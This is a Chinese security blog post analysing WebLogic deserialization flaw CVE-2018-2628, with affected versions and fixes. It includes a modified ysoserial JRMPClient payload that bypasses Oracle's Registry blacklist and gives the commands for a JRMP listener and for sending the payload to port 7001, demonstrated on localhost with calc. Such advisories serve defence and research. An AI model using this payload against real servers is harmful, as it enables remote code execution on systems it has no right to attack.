Weblogic 反序列化REC(CVE-2018-2628)

2018-04-24 11,920

Weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

参考链接:http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html


前言

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。


前因

oracle公司给出的修复如下

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;   
   int len$ = interfaces.length;   
   for(int i$ = 0; i$ < len$; ++i$) {      
       String intf = arr$[i$];      
       if(intf.equals("java.rmi.registry.Registry")) {          
          throw new InvalidObjectException("Unauthorized proxy deserialization"); 
      }   
   }   
   
   return super.resolveProxyClass(interfaces);
}

这里采用白名单的形式进行了限制,要分析这个漏洞还要从上一个说起:

public Registry getObject(String command) throws Exception {        
       int sep = command.indexOf(58);        String host;        
       int port;        
       if(sep < 0) {            
              port = (new Random()).nextInt('uffff');            
              host = command;        
       } else {            
              host = command.substring(0, sep);            
              port = Integer.valueOf(command.substring(sep + 1)).intValue();        
       }        
       ObjID id = new ObjID((new Random()).nextInt());        
       TCPEndpoint te = new TCPEndpoint(host, port);        
       UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        
       RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        
       Registry proxy = (Registry)Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);        
       return proxy;    
}

这个也是一个老的CVE的payload,以前是通过Registry进行rmi的注册的,由于oracle公司添加了对于这个的限制,那么是否有可替代的东西?

事实可以看出来去继承Remote方法的接口还是挺多的,据其中一个例子Activator这个类就可以做到跟Register同等效果,修改一下代码:

@PayloadTest(        
            harness = "ysoserial.payloads.JRMPReverseConnectSMTest"
)
public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {    
       public JRMPClient() {    
       }    
       public Activator getObject(String command) throws Exception {        
             int sep = command.indexOf(58);        
             String host;        
             int port;        
             if(sep < 0) {            
                    port = (new Random()).nextInt('uffff');            
                    host = command;        
             } else {            
                    host = command.substring(0, sep);            
                    port = Integer.valueOf(command.substring(sep + 1)).intValue();        
             }        
             ObjID id = new ObjID((new Random()).nextInt());        
             TCPEndpoint te = new TCPEndpoint(host, port);        
             UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        
             RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        
             Activator proxy = (Activator)Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{Activator.class}, obj);        
             return proxy;    
      }    
      public static void main(String[] args) throws Exception {     
            Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());        
            ObjectPayload payload = (ObjectPayload)JRMPClient.class.newInstance();        
            Object objBefore = payload.getObject("127.0.0.1:7779");        
            FunUtil.GeneratePayload(objBefore,"E:/Penetration/weblogic/p.dat");    
      }
}

运行后在本地生成一个p.dat文件,剩下的过程就跟以前一样


后果

第一步我们首先要启动一个服务,因为我们注册的端口是7779,所以要通过命令

java -cp yso.jar ysoserial.exploit.JRMPListener 7779  CommonsCollections1 calc

第二步远程启用rmi调用从服务上面下载对象,p.dat就是刚才java代码生成的payload

python weblogic1.py 127.0.0.1 7001 p.dat

第三步触发计算器


受影响版本

  1. Weblogic 10.3.6.0

  2. Weblogic 12.1.3.0

  3. Weblogic 12.2.1.2

  4. Weblogic 12.2.1.3

以上均为官方支持的版本


修复方案

方案1:

Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

方案2:

1.进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

2.在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s。3.    保存后规则即可生效,无需重新启动。


总结

  1. 此漏洞以目前weblogic对t3的修复状况来说已经很难找到实例,随着安全意识不管有没有漏洞T3都应该不对外开放

  2. 攻击需要服务器可以出外网与远程机器交互,这样情况下攻击的范围还是挺窄的

  3. 调用过一次以后,端口没法复用,得重新注册端口,还是对服务器有一定风险的

本文作者:jkgh006

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/70960.html

Tags:
评论  (0)
快来写下你的想法吧!

jkgh006

文章数:2 积分: 27

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号